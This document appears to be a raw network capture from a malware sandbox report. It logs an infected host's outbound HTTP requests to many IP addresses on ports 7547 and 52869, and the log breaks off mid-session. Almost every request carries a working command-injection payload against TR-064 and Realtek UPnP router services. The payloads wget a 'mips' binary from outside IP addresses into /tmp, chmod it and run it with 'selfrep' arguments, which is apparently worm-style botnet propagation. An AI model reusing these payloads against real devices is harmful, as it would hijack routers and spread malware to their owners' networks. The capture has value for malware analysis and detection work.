3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
231	192.168.2.13	41780	134.16.79.133	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:31.150722980 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
232	192.168.2.13	40264	120.88.138.155	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:31.163779020 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:31.495593071 CEST	197	IN	HTTP/1.1 404 Not Found Date: Mon Apr 15 16:52:30 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
233	192.168.2.13	48586	186.210.44.124	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:31.164452076 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:31.493855000 CEST	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
234	192.168.2.13	60442	89.147.161.158	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:31.211893082 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:31.634180069 CEST	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
235	192.168.2.13	46878	34.110.241.133	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:31.273324966 CEST	918	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 3b 20 2f 74 6d 70 2f 61 20 72 65 61 6c 74 65 6b 2e 73 65 6c 66 72 65 70 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`chmod 777 /tmp/a; /tmp/a realtek.selfrep`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
236	192.168.2.13	36216	94.121.129.98	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:31.312832117 CEST	906	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 3b 20 2f 74 6d 70 2f 61 20 72 65 61 6c 74 65 6b 2e 73 65 6c 66 72 65 70 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`chmod 777 /tmp/a; /tmp/a realtek.selfrep`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
237	192.168.2.13	55288	160.141.49.1	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:31.380681992 CEST	918	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 3b 20 2f 74 6d 70 2f 61 20 72 65 61 6c 74 65 6b 2e 73 65 6c 66 72 65 70 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`chmod 777 /tmp/a; /tmp/a realtek.selfrep`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:52:31.591082096 CEST	1288	IN	HTTP/1.1 503 Service Unavailable Content-Type: text/html; charset=UTF-8 Content-Length: 11709 Connection: close P3P: CP="CAO PSA OUR" Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 50 50 4c 49 43 41 54 49 4f 4e 20 42 4c 4f 43 4b 45 44 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 23 63 7b 62 6f 72 64 65 72 3a 33 70 78 20 73 6f 6c 69 64 20 23 61 61 61 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 3a 32 30 3b 70 61 64 64 69 6e 67 3a 32 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 0a 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 0a 68 32 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 7d 0a 68 31 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 32 7b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 33 7b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 35 7b 6d 61 72 67 69 6e 3a 32 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 37 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 38 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 35 36 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 7d 0a 62 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 65 37 65 38 65 39 22 3e 0a 3c 64 69 76 20 69 64 3d 22 63 22 3e 0a 3c 68 31 3e 0a 3c 69 6d 67 20 77 69 64 74 68 3d 22 35 30 30 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 6a 70 65 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 42 66 43 41 59 41 41 41 41 65 65 6a 55 54 41 41 41 57 6c 55 6c 45 51 56 52 34 58 75 31 64 43 66 53 33 78 52 52 2b 45 69 48 4b 6b 69 49 6c 61 61 4f 79 6c 45 4a 4b 53 65 67 6f 57 34 68 30 4f 4b 58 51 6b 65 78 4c 6c 70 41 74 74 4b 47 4f 49 78 57 79 5a 6b 39 6f 51 32 52 72 49 55 75 70 4a 45 4a 55 6f 74 4b 69 49 69 48 4f 55 2b 2b 63 4d 39 2f 30 4c 6a 4e 33 35 74 31 2b 33 33 50 50 2b 5a 39 76 2b 63 2f 63 75 66 50 4d 76 50 50 4d 63 75 66 4f 4d 70 41 49 41 53 45 67 42 49 53 41 45 42 41 43 73 30 64 67 6d 64 6e 58 51 42 55 51 41 6b 4a 41 43 41 67 42 49 53 41 45 49 45 4a 58 4a 78 41 43 51 6b 41 49 43 41 45 68 73 41 41 49 69 4e 41 58 6f 42 46 56 42 53 45 67 42 49 53 41 45 42 41 43 49 6e 54 31 41 53 45 67 Data Ascii: <html><head><title>APPLICATION BLOCKED</title><style>#c{border:3px solid #aaa;background-color:#fff;margin:20;padding:20;font-family:Tahoma,Helvetica,Arial,sans-serif;font-size:12px;}h1,h2,h3,h4,h5,h6,h7,h8{font-weight:bold;}h2,h3{font-size:20px;}h1{text-align:center;font-size:22px;color:#cc0000;}h2{color:#330066;}h3{color:#666;}h4{font-size:16px;color:#666;}h5{margin:20;text-align:left;font-size:12px;color:#666;}h6{font-size:16px;color:#cc0000;}h7{font-size:14px;color:#330066;}h8{text-align:center;font-size:56px;color:#330066;font-weight:bold;text-decoration:underline;}b{font-size:16px;font-weight:bold;color:#cc0000;}</style></head><body bgcolor="#e7e8e9"><div id="c"><h1><img width="500" src="data:image/jpeg;base64,iVBORw0KGgoAAAANSUhEUgAAAfQAAABfCAYAAAAeejUTAAAWlUlEQVR4Xu1dCfS3xRR+EiHKkiIlaaOylEJKSegoW4h0OKXQkexLlpAttKGOIxWyZk9oQ2RrIUupJEJUotKiIiHOU++cM9/0LjN35t1+33PP+Z9v+c/cufPMvPPMcufOMpAIASEgBISAEBACs0dgmdnXQBUQAkJACAgBISAEIEJXJxACQkAICAEhsAAIiNAXoBFVBSEgBISAEBACInT1ASEg

Session ID	Source IP	Source Port	Destination IP	Destination Port
238	192.168.2.13	60462	89.147.161.158	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:31.624849081 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:32.034956932 CEST	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
239	192.168.2.13	55418	14.74.199.127	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:31.919575930 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
240	192.168.2.13	47116	95.29.33.22	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:31.962857962 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data 